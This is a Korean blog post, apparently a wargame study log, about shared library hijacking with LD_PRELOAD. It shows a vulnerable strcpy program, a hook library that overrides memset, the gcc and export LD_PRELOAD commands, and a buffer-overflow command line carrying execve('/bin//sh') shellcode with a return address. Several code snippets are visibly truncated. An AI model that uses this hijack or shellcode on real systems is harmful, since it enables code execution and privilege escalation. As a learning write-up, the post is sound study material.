Sh4n3e
Shared Library Hijacking 본문
해당 Shared Library Hooking은 그냥 크게 System Hacking이라는 범주에 속하는 것 같아 이렇게 글을 쓴다.
프로그램은 시작하기전에 Symbol들을 로드하여 사용한다. 특히 공유라이브러리는 프로그램이 필요로 할때마다 연동되는 동적인 라이브러리이다. 이것은 메모리, 용량을 절약하기때문에 자원의 활용성 측면에서는 매우 우수하지만, 사용자로부터 접근하기 쉽도록 짜여져있기 때문에, 보안상 문제가 크다.
사용자가 만든 프로그램 소스는 컴파일 되면서 라이브러리를 프로그램에 포함시키지 않고, 프로그램이 동작중에 필요한 symbol이 있을때 공유 라이브러리를 찾아가서 심볼(함수,변수) 정보를 가져온다. shared library hijacking 취약점은 라이브러리를 프로그램이 실행될 때, 공유 라이브러리에서 심볼을 적재하는 과정에서 나타나게 된다.
우선은 아래의 문제를 해결해보기 위해 Shared Library Hijacking을 공부하기 시작했다.
#include <stdio.h> extern char **environ; main(int argc, char *argv[]) if(argc < 2){ if(argv[1][47] != '\xbf') strcpy(buffer, argv[1]); // stack destroyer! |
쉘코드를 삽입해야하는 곳을 모두 초기화하는 memset이란 함수를 Shared Library Hijacking을 이용해서 해당 과정을 수행하지 않도록 하는 Shared Library를 만들어서 우회를 시킬 생각이었다.
우선 해당 프로그램이 Shared Library를 사용하는 방식인지 확인한다.
[skeleton@localhost skeleton]$ readelf -d ./melog Dynamic segment at offset 0x5ec contains 20 entries: |
따라서 나는 memset함수에 대한 정의와 함수의 내용을 찾아보았다.
#include <string.h> { if (n) { char *d = dst; do { *d++ = c; } while (--n); } return dst; } |
이를 토대로 Shared Library를 작성해보았다. 기능은 유지하되 우회를 시킬 수 있는 소스이다.
#include <dlfcn.h> void * memset(void *dst, int c, size_t n){ printf("hello shared library hook!\n"); |
해당 소스를 shared library로 컴파일한다.
gcc shl.c -fPIC -shared -o shl.so |
컴파일한 Shared Library를 환경변수로 등록하여 해당 Shared Library를 우선적으로 사용하도록한다.
export LD_PRELOAD="/home/skeleton/shl.so" |
이제는 해당 Shared Library를 정확히 사용하는 것이 맞는지 확인하기위해 프로그램을 실행하여 보았다.
(쉘코드나, 기타 ret주소는 사전에 작업했다.)
[skeleton@localhost skeleton]$ ./melog $(python -c 'print "\x90"*20+"\x31\xc0\x50\x68\x2f\x2f\x73\x68 \x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\xc1\xfd\xff\xbf"') |
이렇게 내가 원하는데로 실행됨을 확인할 수 있다.
하지만 여기서 문제는 내가 언하는 문제에서 작동이 되어야 하는 것인데... 작동을 안한다... 우선은 해당 부분은 성공했으니 기록해본다. 저 문제의 해결방법은 다시 다른 방법이라도 찾아봐야겠다.
참고사이트
https://bpsecblog.wordpress.com/2016/12/20/seh_3/
http://hkpco.kr/paper/udcsc2006_report.txt
http://inhack.org/wordpress/?p=1833
http://www.ethernut.de/api/memset_8c_source.html
라이브러리 컴파일
gcc test.c -fPIC -shared -o g.so
환경변수 지정
export LD_PRELOAD="/home/~~/xx.so"
환경변수 삭제
unset LD_PRELOAD
'System Hacking' 카테고리의 다른 글
ELF(Excutable and Linkable Format)? (0) | 2017.06.27 |
---|